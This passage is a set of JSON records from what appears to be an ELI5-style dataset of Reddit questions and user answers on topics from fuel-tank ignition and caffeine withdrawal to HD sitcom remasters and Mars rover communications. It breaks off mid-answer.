{"q_id": "5nkloa", "title": "what would happen if i put a burning matchstick in the petrol tank of a bike/car?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5nkloa/eli5_what_would_happen_if_i_put_a_burning/", "answers": {"a_id": ["dcc6ovg", "dcc74in", "dcc88ot", "dcccuro"], "score": [16, 3, 2, 2], "text": ["Most likely, nothing.  The inside of the tank is full of gasoline fumes, sure, but that's mostly what's in there.  There's not enough oxygen inside the tank to support a quick flash, much less a full-on explosion.  Now, if the tank was completely empty of liquid and only had fumes in there and there had been time for some regular outside air to mix in, then you might get something.\n\nThe proper stoichiometric ratio for gasoline to detonate is about 15 parts air to 1 part fuel, so you need a *lot* of air in the tank to get a proper boom.\n", "Generally nothing. The same thing holds true for cigarettes. They do no burn hot enough to ignite most things. Hollywood just loves to shoot scenes with flame and exploding vehicles.", "Depends on specific conditions, but gasoline is actually very volatile, and there usually exists a combustible mixture right at the neck (but not in the tank), so when you do this you might light the neck on fire, which will burn for a short while (it usually won't last long because it blows smoke out the neck and clears the neck of oxygen which puts the fire out. [It looks like this](_URL_0_)", "mythbusters did an episode that essentially addresses this once, but it wasn't specifically about putting a lit match in a gas tank... i think it was about static electric fume ignition (i.e. the idea of gas fumes being ignited at the gas pump as you are filling your vehicle).  and if I am remember it was he same episode where Adam came up with the \"pantystatic generator\" using some PVC pipe and some women's silk or satin panties. \n\nIn any case, as is mentioned in other replies, it requires a pretty precise mixture of the fumes and oxygen, so shoving the match down the tank would likely result in the match going out from lack of oxygen... however leaving the tank open to release fumes, and then just having the match near it would be far more likely to cause a flash ignition and possibly catch other nearby materials, like your clothes, on fire in the process.  unless you have gas spilt on the ground or something, then it's unlikely it would continue to burn unless it does ignite something else in the flash.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=vg5T28kU8FE"], []]}
{"q_id": "4e1t4v", "title": "If it ever got cold enough for our atmosphere to condense, how deep would the sea of liquid nitrogen, oxygen and other gases be on Earth's surface, given its current terrain?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4e1t4v/if_it_ever_got_cold_enough_for_our_atmosphere_to/", "answers": {"a_id": ["d1w9io2"], "score": [17], "text": ["The total mass of the atmosphere is about 5x10^18 kg. Liquid oxygen is a little denser than liquid nitrogen (because oxygen has mass 16, nitrogen has mass 14), and so the average density of the mixture is close to 900 kg/m^(3). This is fairly close to the density of water. \n\nStraight forward division tells you that the volume of the atmosphere in liquid form would be close to 5x10^15 m^3. The surface area of the earth is about 5x10^14 m^(2), so if the atmosphere was condensed to a liquid it would barely be 10 meters thick on the earth. \n\nNow for the caveats. I took the density of liquid air to be the density at 1 atmosphere of pressure, because that's the density of liquid air we can produce on earth (duh! we're producing it in atmosphere!) If we were somehow able to liquefy the atmosphere, despite the pleas of the laws of thermodynamics not too, it would immediately begin to boil. The liquid would vaporize, reforming an atmosphere. Why? Because the heat of the sun. \n\nBut if we didn't get enough heat from the sun, perhaps because we moved the earth farther away from the sun (depsite the pleas of Newtonian mechanics not too), we'd be less likely to have liquid oxygen and nitrogen, and more likely to have solid liquid and nitrogen. The evaporating gas from the liquid carries heat away with it, ultimately freezing what's left of the liquid air. The atmosphere would strike an equilibrium, depositing some gas onto the ice in the cold winter, and sublimating some ice back into gas in the warm summer season. This is sort of what happens on Mars with CO2 and its polar ice caps.\n\nIn reality, the earth has enough gas to make one of the thickest atmospheres in the solar system which makes this process not happen with fickle gasses like nitrogen and oxygen, but this annual cycle of temperature dependent deposition and evaporation does happen with one compound in our atmosphere- water. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2gc2h0", "title": "I quit drinking coffee a few days ago. How long does it take for your body to completely regulate back to \"I never had caffeine\" neurotransmitter-level-wise?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2gc2h0/i_quit_drinking_coffee_a_few_days_ago_how_long/", "answers": {"a_id": ["ckhpq2q", "ckhqn20", "ckhqojq", "ckhqse9", "ckhrccw", "ckhrftd"], "score": [392, 17, 2441, 96, 58, 243], "text": ["This is a reminder that personal anecdotes on how your body dealt with coffee withdrawal are not acceptable posts in /r/askscience, and they will be promptly removed.", "A quick google search yielded the following: withdrawal symptoms appear usually within 12-24 hours and will last from 2-9 days in cases of physical dependencies (Juliano, L. M.; Griffiths, R. R. (2004). \"A critical review of caffeine withdrawal: Empirical validation of symptoms and signs, incidence, severity, and associated features\"). It depends on the person's sensitivities, weight, and intake obviously and this does not include normalizing the number and sensitivity of adenosine receptors, which caffeine is believed to block. ", "[Here](_URL_0_) is an excellent review of the literature on this subject, which is quite extensive.\n\n**TL;DR** Caffeine has a half life of around 4-6 hours in the human body.  Withdrawal symptoms typically begin around 12-24 hours after abrupt caffeine abstinence.  Caffeine withdrawal symptoms have been shown to reach peak intensity between 20 and 51 hours after abstinence and tend to last between 2 to 9 days.  However, the possibility of withdrawal headaches have been suggested to occur up to 21 days after abstinence. \n\nEdit:  [Here](_URL_1_) is a non-paywall pdf of the article thanks to /u/maxwellb.", "Relatively quickly. Unlike receptor downregulation found in other addictions due to over-activation of receptors (e.g., opiod addiction. alcohol addiction ,etc.), caffeine is an *antagonist* of the adenosine receptor types, which are responsible for making you feel tired when activated by free adenosine, a compound which naturally builds up in the brain as a consequence of waking metabolism.\n\nWhat happens when you quit drinking caffeine is that the adenosine receptors become particularly sensitive to activation, which for all this time have been antagonized by caffeine, thus you feel sluggish and tired when the caffeine is taken away. Or you may have headaches due to narrowing of some blood vessels as a consequence of hypersensitivity to the vasoconstricting effects of certain adenosine receptor activation.\n\nOverall, the receptor sensitivity returns to normal over the course of usually 1-3 days. Neurotransmitter levels themselves are not terribly impacted by caffeine; rather, it affects how the brain reacts to neurotransmitters.\n\nEdit: I should add, 1-3 days following the first or second metabolic half-life (or third or fourth if you're a heavy caffeine user) of caffeine (around 9 hours for most people).", " >  Typically, onset of symptoms occurred 12-24 h after abstinence, with peak intensity at 20-51 h, and for a duration of 2-9 days.\n\n_URL_1_\n\nThis measures symptoms of withdraw, rather than actual NT levels or receptors.  Nevertheless, I think it's unlikely that you're going to find a direct answer to your question as you need to sample tissue to properly assay.  Perhaps someone has done some rat studies, but I didn't find anything.\n\nGenerally speaking, it's going to vary by how much caffeine you consume and your own particular physiology.\n\nGetting at the molecular biology, though, there's a few things going on.\n\n* Actual NT levels can vary quite quickly.  The transport, synthesis, and degradation of common NTs is on the order of microseconds (e.g. NT release) to minutes and hours.  When you cease caffeine intake, though, you're not going to have a large effect on NT levels at all; rather, these effects will come from the receptors.\n\n* Caffeine is an adenosine receptor antagonist.  In terms of receptor activity, caffeine will make it seem like there is less adenosine in your system.  Over time, your body compensates for this by upregulating adenosine receptor levels.  When you stop taking caffeine, you have more receptors than you need and the effects of normal adenosine levels are much greater.  Recovering from this compensation will take as long as it takes your receptor levels to go back to normal.  This involves cycling the receptors between places in the cell where they are and are not active, but also in the actual synthesis and degradation of the receptors.\n\n* The regulatory response depends on the specific genes involved, but generally they proceed by positive and negative feedback loops.  E.g. adenosine receptor signaling can act to downregulate adenosine receptor levels (negative-feedback).  For a basic idea of how long this might take, I found this paper talking about acetylcholine receptors:\n\n\n >  In studies using repeated imaging of identified neuromuscular junctions in living adult mice, the half-time of synaptic AChRs was estimated to be approximately 14 days36. Blockade of neurotransmission rapidly (within 2 h) decreased the half-time 25-fold, to less than 1 day. The decrease in half-time appeared to reflect a combination of increased lateral dispersal of synaptic nAChRs and increased internalization. More recent studies using repeated in vivo imaging have provided evidence that nAChRs that are internalized at neuromuscular junctions can be recycled to the cell surface and reincorporated at the synapse37; this recycling apparently requires synaptic activity37. It is interesting to note that recycled nAChRs are subsequently removed from the synapse more quickly than newly inserted nAChRs that were not (yet) recycled37, suggesting that recycled receptors are somehow tagged or in some way differ from \u201cnaive\u201d receptors in their interactions with other proteins.\n\n_URL_0_\n\nClearly there's a pretty cool regulatory network in charge of this, and shows how responsive receptor levels can be.  The rate of degradation is strongly regulated in this case, and that's likely the key aspect of caffeine withdraw.  If nothing else, this tells us that we probably can't make assumptions about how adenosine receptors are regulated (and my quick lit search didn't find anything obvious).\n\nUnfortunately that's not a real answer, but that at least gives you an idea of what might be going on.  Somewhere in that 2-9 day time frame your adenosine receptor levels go back to normal and the withdraw ends.", "***TL;DR: For a \"typical\" individual, withdrawal begins within 24 hours, peaks around 36 hours, and lasts around a week. Tolerance significantly decreases after a week of caffeine abstinence. Tolerance is built within a week of chronic usage. The increase in mental acuity is unrelated to caffeine tolerance.***\n\nBit late to the party, but I'm having a bit of difficulty locating exactly what I think you're looking for (might be due to my lack of caffeine after studying for so long). However, I can extrapolate a bit from glancing over a couple studies - one in particular (linked at bottom of post). The first part here is a general symptom-based answer and the end is a bit more technical:\n\nIndividuals experiencing significant symptoms following cessation of caffeine intake consume more than 129 mg caffeine daily. A typical withdrawal period begins within the first 6 to 24 hours since the last dose. This varies primarily depending upon how dependent the user is. The **withdrawal peaks in symptoms at approximately 36 hours and last several days in total.** Notable residual withdrawal **may last up to a week,** depending on the level of chronic usage. This indicates that the neurochemical pathways of interest (particularly the receptors) likely reset to a basal level within a week post-withdrawal.\n\nThere are some gems hidden in this article as well: \n\nInterestingly, those people who are not tolerant to caffeine tend to experience negative side effects upon consuming caffeine:\n\n >  Heavy consumers of coffee show a preference for coffee that contains caffeine, while those who used to drink decaffeinated coffee will choose either decaffeinated or caffeine-containing coffee. When subjects are categorized between caffeine choosers and nonchoosers, **caffeine choosers tend to report both positive subjective effects of caffeine (stimulant and positive effects on mood and vigilance) as well as negative subjective effects of placebo (headache and fatigue), while caffeine nonchoosers tend to report negative effects of caffeine (primarily anxiety and dysphoria)...**\n\nCaffeine tolerance is especially rapid in animals and made more rapid with intake of other methyxanthines. The typical result is an increased dosage over time to compensate. Locomotor function has been shown to return to normal by the third day following the last administration, though the mechanism is not certain.\n\nMore relevant to what I think you are trying to find out is this:\n\n >  Conversely, although tolerance to the enhancement of arithmetic skills by caffeine was recently shown, there is only limited evidence for tolerance to caffeine-induced alertness and wakefulness. These effects are paralleled by the lack of tolerance of cerebral energy metabolism to caffeine, since **an acute administration of 10 mg/kg* caffeine induces the same metabolic increases whether the rats have been exposed to a previous daily chronic treatment by caffeine or saline for 15 days.** These data show that every single exposure to caffeine is able to produce cerebral stimulant effects and this is especially true in the areas that control locomotor activity (caudate nucleus) and the structures involved in the sleep-wake cycle (locus coeruleus, raphe nuclei and reticular formation).\n\n*10 mg/kg of caffeine in a rat is equivalent to 200-300 mg of caffeine in a 70 kg human.\n\nThis indicates, to me, that the mental effects that you benefit from while taking caffeine are **not** effected by a neurotransmitter tolerance.\n\nFWIW, although I can't find any sources directly related to the neurochemical tolerance and withdrawal periods, it seems as though most effects balance out by the end of the week following going cold turkey. In this same vein, it seems as though tolerance to caffeine can be induced exceptionally quickly, somewhere between 2 and 7 days.\n\n >  Likewise, tolerance to sleep latency and quality to caffeine has been shown to develop over 2 days of testing in one study and 7 days in another. However, the tolerance is not complete and the sleep efficiency remains below 90% of the baseline value after 7 days of caffeine treatment.\n\nSource: Nehlig A: Are we dependent upon coffee and caffeine? A review on human and animal data. Neurosci Biobehav Rev 23: 563, 1999.  [PubMed: 10073894](_URL_0_)\n\nedit:words"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://link.springer.com/article/10.1007/s00213-004-2000-x#page-1", "http://www.researchgate.net/publication/8266257_A_critical_review_of_caffeine_withdrawal_empirical_validation_of_symptoms_and_signs_incidence_severity_and_associated_features"], [], ["http://www.nature.com/aps/journal/v30/n6/full/aps200976a.html", "http://www.ncbi.nlm.nih.gov/pubmed/15448977"], ["http://www.ncbi.nlm.nih.gov/pubmed/10073894"]]}
{"q_id": "2tagbd", "title": "why are mid-90s shows like friends available in high definition, while shows from the same time period (and same network) like frasier only in standard definition?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2tagbd/eli5_why_are_mid90s_shows_like_friends_available/", "answers": {"a_id": ["cnx76sq", "cnx7v1f", "cnxh36x", "cnxja5v", "cnxnxlo", "cnxoot8", "cnxoqxw", "cny1ia1"], "score": [214, 45, 8, 28, 4, 3, 5, 4], "text": ["It depends on the media used to record the show - traditional film can be rescanned at higher resolution, magnetic media maybe, maybe not. It also depends on how much money the studios think they will make by re-releasing. ", "It entirely depends on how the show was originally shot. Friends, the Star Trek shows, Stargate SG-1, The X-Files, were all shot on film. This means it's entirely possible for the studios to release them in high definition.\n\nWhether they actually decide to is another matter entirely, as it is a costly process and they want to be sure that the investment would be worth it. Additionally, shows shot on film may have been edited on video meaning that all the high definition footage is in a raw state and would need to be reassembled.", "It also depends on how it was shot. David Simon, from The Wire, wrote an article about this recently. He brought it up in context of The Wire going HD. While it was shot on film, a lot of the scenes were shot with the director assuming 4:3 -- the 'bands' on the edge would be trimmed. So film crew, equipment, artifacts in the background, etc were ignored if they were in those bands because they'd be trimmed off in post-production. (EDIT - Not only that, but the director's intention is dependent on his assumption of 4:3.) Well, now they want it 16:9 and those things woud show without work. Some owners want to put in the work, some don't, some don't care if it looks wanky (see, Buffy).\n\nEDIT: [linky](_URL_0_)", "I just went to a seminar where Kevin Bright, executive producer of Friends, touched on this very subject.\n\nThey shot Friends on film which is widescreen. At the time they were not worried about 16:9 aspect ratios because no one had TVs like that, so the extra space was just cut off on televisions. Around season 4 the networks started telling him to account for 16:9 because the transition to widescreen was imminent, but he said he was skeptical and didn't do what they asked.\n\nThis caused a lot of problems when re-airing the show in widescreen because a lot of boom operators, or animal wranglers, or gaffers, could be seen in the 16:9 area they didn't think anyone would ever see. This has required special effects artists to \"paint over\" these mistakes, costing studios a lot of money.\n\nSo there you go!", "Anyone noticed how season one of friends has characters totally out of focus for several scenes? Being in HD it's much more noticeable than it was on standard tv.", "In all honesty it probably just comes down to cost/demand. ", "Something other commenters haven't touched upon is that the networks (NBC especially) knew that the transition to HD was imminent, so they made the conscious choice to shoot sitcoms on 35mm film so they would survive the transition better. However, in order to truly air those shows in HD, the original film negatives have to be scanned, digitized, and cleaned up, frame-by-frame. \n\nSo there are two reasons: the first being that some 80s/early 90s shows were shot on videotape rather than film (The Cosby Show, Family Ties); the other being some film shows haven't been re-scanned with high resolution scanners, which is a time-consuming and costly process. ", "Most of these answers leave out one really big thing: how did they edit the show?\n\nFor example, Seinfeld was shot on 35mm film, and after editing they cut that film together at the end of the editing process to create a master film print. It then becomes relatively trivial to do the telecine again to HD. Telecine is just the process of shooting one video frame for every film frame and creating the video for distribution. \n\nCheers, on the other hand, was shot on film, transferred to video, and then edited entirely on video. Their final edit was SD video (probably BetaCam, a high-quality, professional, but still analog and SD format). For them to create an HD version of Cheers would require them going back and matching, shot for shot, every episode when the re-edit. Lots of work with probably a pretty small payout. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://davidsimon.com/the-wire-hd-with-videos/"], [], [], [], [], []]}
{"q_id": "9im3w7", "title": "how much exercise is too much?", "selftext": "People say you cant exercise too hard, or your muscles will get weaker, but my friend always does 10 or more sets of pull ups, until failure for every single set. Sure, it hurts the next few days, but he keeps doing it and now he can do 30ish pull ups after only 2 years. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9im3w7/eli5_how_much_exercise_is_too_much/", "answers": {"a_id": ["e6ksbyz", "e6l3pbi", "e6l3tkj", "e6ldl4v", "e6lmfsu", "e6ltnu7"], "score": [11, 7, 2, 3, 4, 3], "text": ["Your muscles are kind of like a bunch of rubber bands that stretch and contract when you move. If you continually push muscles just past their limit of stretching they\u2019ll gradually get stronger and better at stretching. If you try to stretch them too far or stretch them too frequently they\u2019ll tear. Limits are different for everybody but generally if you feel like something is too much it probably is.", "It's actually very hard to get \"overtraining\" such that you get weaker.  Almost nobody actually works that hard.  Doing 10 sets of pull-ups is just going to make you get better at pull-ups, not make you weaker over time.", "Try and push yourself every time you show up. Your body is remarkable at adapting to load, so gradual overload will stimulate the most growth. There are diminishing returns to growth however and you will make gains most easily at the beginning, and then you will need to work even harder for less growth. Diet is also an important factor in the load you can bear. You should be at a caloric surplus with ideally balanced macronutrients and sufficient protein. This will allow you to train harder and still recover between workouts. Basically if you are eating right and have good technique, unless your joints hurt or your muscle tissue is too tight which can compromise technique then you\u2019re fine, go hard. Make sure you stretch and release muscle tissue through massage etc to avoid injury. ", "Your friend isn\u2019t pushing himself nearly as hard as he needs to in order to see negative results. Overtime you can overtrain and become weaker. Your nervous system gets overworked and you stop benefiting from working out. ", "The problem with too much exercise is not \"getting weaker\", it's chronic injuries. \n\nIf you overdo it and don't allow your body to recover, at some point you could end up with a torn muscle or ligament, and then you won't be doing *any* exercise for weeks, or even months.", "There are two types of things that you could call 'overtraining' that mean that you are exercising too much.\n\nThe first is injuries. Doing new things quickly can result in minor injuries that don't have enough time to heal before you exercise them again. Obviously this can snowball over time. This is the more common one.\n\nActual overtraining, where you just overload your muscles completely (while everything is still intact, to make the difference from injuries) is extremely difficult to do. As in, if you are not pro-athlete level training something it is extremely unlikely that this is the case.\n\nIn practice, for normal gym-rats and weekend warriors, injuries are the problem, not overtraining."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3d48kc", "title": "why doesn't the government hire the unemployed rather than give handouts?", "selftext": "As in have projects in which the government hires the unemployed whilst at they same time they are looking for jobs.\n\nWouldn't this be more productive on a whole for society?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3d48kc/eli5_why_doesnt_the_government_hire_the/", "answers": {"a_id": ["ct1m4qf", "ct1m7km", "ct1me93", "ct1mih4", "ct1mxbb"], "score": [5, 3, 13, 5, 4], "text": ["Hire them to do what exactly? Governments only have so many jobs to fill, and even if they do have a job opening, that doesn't necessarily mean every unemployed person can fill that.\n\nAlso, depending on what paycheck + benefits are given for government jobs in that area, it can be more expensive to hire someone than to give them assistance. ", "That's the plan Sanders has when he talks about rebuilding our infrastructure... That's how it got built in the first place.", "They've done it before, i.e. the make-work projects in the Great Depression. \n\nBut the thing is, welfare usually pays the bare minimum, just enough to keep people alive. Government jobs typically come with higher pay and all kinds of benefits, plus retirement. It is cheaper to pay people welfare and let them not work, than to hire them to work and spend much more on them.", "[We did during the Great Depression.](_URL_0_) We hired artists and writers to work and document our society. We hired ditch diggers and construction workers to rebuild our infrastructure. The Works Progression administration was successful but had its critics.\n\nThe 2008 Stimulus was supposed to have billions for highway and other infrastructure, but less than Obama wanted was allocated and I think a lot has gone unspent.\n\nPresently, the military is basically a big jobs programs. We design and build trillions of dollars of weapons and equipment, sometimes that the military does not even want, more to employ people at home that to actually use in combat.", "The reason the government doesnt do this is because they end up replacing well paid jobs, and removing people from the workforce drives up wages by creating demand for workers. \n\nThe same thing is done with farms. They pay them to grow things only animals can eat, or nothing at all, because desperate farmers were growing more and more crops until the prices tanked and the ended up not even being able to harvest them. The food rotted in the fields and many farmers killed their own farm animals to keep them from starving, because they didnt have feed. The feed farmers couldnt get loans on worthless crops, so they couldnt even harvest it at all. So they couldnt even trade it to the cattle farmers if they wanted to. \n\nSo the government started paying the farmers to stop overproducing and destroying their own demand by oversupplying. The price recovered once they stopped dumping so much food on the market, and the program continues to this day. \n\nIf we really HAD to, we could produce dramatically more food that we currently do. \n\nAnd that is why its better to pay people to stay home than to make them work. The extra people are like the extra food. The surplus of workers drops the wages to minimum wage and kills the local economy. So paying the people to stay home creates a demand for the remaining workers and keeps their wages higher. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Works_Progress_Administration"], []]}
{"q_id": "26rbgo", "title": "During the Spanish civil war, the Spanish gold reserves were sent to the USSR for safekeeping. Was it ever sent back?", "selftext": "This question came up in my Spanish culture and history class on the civil war and Franco's reign, but the lecturer didn't know, so I was interested and thought I'd ask here, see if anyone knew.\n\nSo as above, were the gold reserves ever returned to Spain? If so when? And why at that time (we assumed they wouldn't while Franco was still in charge)? And if not why were they allowed to keep it?\n\nThanks", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/26rbgo/during_the_spanish_civil_war_the_spanish_gold/", "answers": {"a_id": ["chtwhk8", "chu1j8v"], "score": [4, 2], "text": ["I think there is a small flaw in your premise.  The gold reserves were indeed sent to the USSR for safekeeping *initially*.  However within days of the transfer there was an agreement between the Republicans and the Soviets that the gold would be used to purchase arms from Russia.  Given the policy of nonintervention by Britain and France along with the assistance given to the Nationalists by Germany and Italy, purchasing arms from the Soviets was the only viable option available for the Republicans.\n\nThere is a bit of debate over the purchases.  Some claim that the gold was used up in buying arms by 1938 at the latest (this is also the claim of the USSR at the time).  Others claim that there was still a substantial amount of gold remaining when the war ended.  The decision to send the gold to Russia is one aspect of the huge debate among the exiled Republican leadership after the war, and it was used during and after the war by the Nationalists to 'prove' that the Republicans were dominated by communists.  \n\nI don't believe I have read any accounts of the gold ever having left the Soviet Union.  ", "Fairly good story here, in Spain is known as \"el oro de Moscu\" or \"Moscow gold\"\n\n_URL_0_\n\nOn top of all that many Spanish books on the Spanish Civil War cite that while part of the gold was used to pay for Soviet equipment and weapons to be used by the Republican Government the quality of the goods sent was less than good. Other than few modern tanks and aeroplanes the vast majority of firearms, mainly rifles, are described as old and obsolete and second hand once used by the Tsarist Army. This created a huge issue in terms of spares and calibers rendering many of them useless."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Moscow_gold"]]}
{"q_id": "2ruwkq", "title": "when germany is so famous for its great engineers, why are there no german universities (e.g. rwth aachen, karlsruhe institut f\u00fcr technologie) among the best in international rankings?", "selftext": "The RWTH Aachen is pretty famous inside Germany for its great degree program for engineers. But according to [this](_URL_0_) the RWTH isnt even among the top 100 Universities.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ruwkq/eli5when_germany_is_so_famous_for_its_great/", "answers": {"a_id": ["cnjiq0q", "cnjj2nt", "cnjjnkf", "cnjluld", "cnjnkdv", "cqu3ibl"], "score": [47, 25, 2, 3, 35, 2], "text": ["I think that as a rule the rankings tend to be pretty biased towards north america. Especially since Aachen has such a good program for computational and simulation sciences I have trouble believing the methodology isn't inherently biased. Especially since I've looked at curricula of schools from the states and by and large they tend to be easier than those in Canada and Europe.", "Having top degrees for a single field of study (engineering) is not enough to make a University qualify for the top 100 in the world. In fact being highly specialized as many Universities in Germany and Eastern Europe tend to be is a disqualifier most of the time. ", "I would reckon that the specialization of schools may have something to do with the rankings. Individual schools in Europe offer fewer programs than in NA. Then again, there are also just a lot of schools. Mine (NA) was decent but is ranked less than 200. Also, the two swiss technical schools ETH and EPFL are both in the top 50, so maybe not a technical bias? You'd think the Bologna effect and the mayhem of standardizing the degree system in Europe would have subsided by now.", "Arent rankings somewhat based on funding? Im pretty sure youll find that MIT has a massive budget compared to somewhere in germany. Money attracts better researchers, drives the ranking up some more, etc. ", "German research isn't organised around Universities. Google for the work done by the Max Planck Institute for Physics and such.", "Well, RWTH is in 12th place of QS Ranking in Mechanical and Aerospace engineering, 34th in Chemistry, top 100 in Civil and Electrical.\n\nThis is pretty good for a ranking that favors largely the anglo-saxan model of university."]}, "title_urls": [], "selftext_urls": ["http://www.moveonnet.eu/directory/institution?id=DEAACHEN01"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "7rzypb", "title": "why is it 'by' accident but not 'by' purpose?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7rzypb/eli5_why_is_it_by_accident_but_not_by_purpose/", "answers": {"a_id": ["dt0uxxt", "dt0w9g9", "dt0wahu"], "score": [3, 4, 35], "text": ["In fact, antipodeans  &  'merkins seem to use \"on accident\", but though it grates a little with me (Brit), it's probably not wrong.  The most  wonderful thing about the English language is that it is fluid, and used in many different and interesting ways!", "[here's one page with a guess] (_URL_0_) as well as a post on [the etymology subreddit] (_URL_1_) ", "\"On purpose\" is an idiom.  *It* is a peculiar way of saying \"intentionally\" that came about some many hundreds of years ago.  Doing something \"by\" accident is using \"by\" to mean \"via\", \"by way of [an]\" accident.\n\nThere's a concept in grammar called parallelism: a phrase like \"whether or not it was done by accident or on purpose\" flows better than \"by accident or purposefully\", or \"by accident or intentionally\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://english.stackexchange.com/questions/334455/why-do-we-say-on-purpose-vs-by-accident", "https://www.reddit.com/r/etymology/comments/2ptt0v/on_purpose_vs_by_accident/"], []]}
{"q_id": "5adlud", "title": "if underage sex is illegal and murder is illegal then why is viewing underage sex illegal but viewing murder is not?", "selftext": "I could find a video of someone getting shot or run over or something gruesome like that on the free web. The act in the video is illegal but viewing it isn't. But having sex with someone underage is illegal to do and to view someone else doing. I used extreme examples but even crime shows where you see someone stealing is ok. But stealing itself isn't. How does the Law explain this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5adlud/eli5if_underage_sex_is_illegal_and_murder_is/", "answers": {"a_id": ["d9fokwi", "d9fovem", "d9fpqf7", "d9fpxju"], "score": [7, 5, 8, 2], "text": ["Your assuming there needs to be logic in regards to what's legal and what's illegal. There doesn't. The elected legislature is tasked with writing laws. They have decided that viewing underage porn is illegal, but viewing a murder isn't. The legislature doesn't have to justify this to anybody other than the voters that elected them.", "there are always people that think seeing something on screen will corrupt people into repeating it in real life. violent movies and games have a lot of advocates to defend them against these people, but almost nobody wants to defend sexual depictions of minors", "People don't murder other people in order to create videos and profit from people watching them. \n\nBut some adults do sexual things to children in order to create videos and make money. \n\nSo when someone watches that underage sex video, they're creating an industry that hurts underage people, who by definition can't consent to sex. ", "The difference is that videos of child pornography are commodities that are sold and traded. They punish the buyers/possessors as well as the sellers to discourage people from making them for profit. Murder videos do not have that sort of market and most of them are not made intentionally unless you are talking about ISIS. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "fijoh", "title": "What is the highest level of functioning Rep. Giffords could recover to?", "selftext": "Are we looking at significant retardation, functioning in society, being able to hold a low-wage job, being able to solve complex problems, being able to hold elected office, or even further?\n\nHer recovery has been incredible so far, I want to know if we should be watching out for an exploratory committee.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fijoh/what_is_the_highest_level_of_functioning_rep/", "answers": {"a_id": ["c1g7jjk"], "score": [2], "text": ["Predicting outcome from severe traumatic brain injury is extremely difficult. The most important predictive factors that can be made in the early stages are:\nPatients age: (Under 40 associated with better outcomes)\nThe [Glasgow Coma Score](_URL_0_) at presentation (lower associated with bad outcome)\nThe CT scan findings - (midline shift or ventricular compression is a bad sign)\nEven transient low oxygen levels or low blood pressure at presentation will increase the chance of bad outcome by 50%.\n\nHowever, prediction is still hard, and most of the time we have to wait for at least 6 months to get a reasonable feel for what recovery can be expected. The Glasgow Outcome Scale, is often used, which ranks recovery from 1 to 5:\n\n1. Dead\n2. Vegetative State (meaning the patient is unresponsive, but alive; a \"vegetable\" in lay language)\n3. Severely Disabled (conscious but the patient requires others for daily support due to disability)\n4. Moderately Disabled (the patient is independent but disabled)\n5. Good Recovery (the patient has resumed most normal activities but may have minor residual problems)\n\nOf people who manage to get to 5,  many can still experience significant problems, but there is no doubt they can, and have, returned to highly complex jobs.  Common problems include trouble with memory, complex mental tasks,and emotional difficulties, and these may take years to resolve if at all.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Glasgow_Coma_Scale"]]}
{"q_id": "24xqn3", "title": "What is the data transfer rate of the Mars Curiosity Rover?", "selftext": "As far as I understand it, rovers use low frequency communications as lower frequencies travel further for less energy? If this is the case, the bit rate must be extremely low. How long does it take to download a high resolution image from the rover? Why can't we have video?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24xqn3/what_is_the_data_transfer_rate_of_the_mars/", "answers": {"a_id": ["chbosdr", "chbpgfy", "chbpxps", "chbr4c4", "chbr4s3", "chbraky", "chbrby1", "chbrc4u", "chbs37b", "chbtjie", "chbtqm9", "chbvg15", "chbvrwi", "chbydux"], "score": [8, 735, 187, 15, 28, 5, 8, 5, 26, 6, 23, 6, 5, 6], "text": [" > Curiosity can communicate with Earth directly at speeds up to 32 kbit/s, but the bulk of the data transfer should be relayed through the Mars Reconnaissance Orbiter and Odyssey orbiter. Data transfer speeds between Curiosity and each orbiter may reach 2 Mbit/s and 256 kbit/s, respectively, but each orbiter is only able to communicate with Curiosity for about eight minutes per day.[40] \n\n_URL_0_\n", "The rover has two UHF radios, which can be used to relaying to earth. An average of 14 minutes and 6 seconds is required for the signals to travel to earth. The rover can communicate with earth at up to 32 kbit/s. The majority of the data transfer is done through the Mars Reconnaissance Orbiter and Odyssey orbiter, which can reach speeds of 2 Mbit/s and 256 kbit/s, respectively, although this can only happen for eight minutes per day. [Specifications of Mars Curiosity Rover](_URL_0_)", "You will find this site interesting _URL_0_ it is NASA's Deep Space Network in real time. You can look at which antenna are talking to which spacecraft, up and downlink data info (such as  speed) as well as other cool stuff. ", "keep in mind: no matter what the data transfer rate, Mars is, at its closest pass to Earth about 7-1/2 light minutes away. That is, from the time you hit \"send\" a craft on Mars, or in orbit around Mars is not going to pick up whatever you sen for more than 7 minutes. Whatever it's reply, at whatever transfer rate, that data will take at least 7+ minutes to get back to Earth. There is no technology to \"Rush\" it. It  is moving at the fastest speed anything can ever move, Mars is THAT far away!\n\nThat is why the rovers need autonomous decision making. They would wreck early and often without 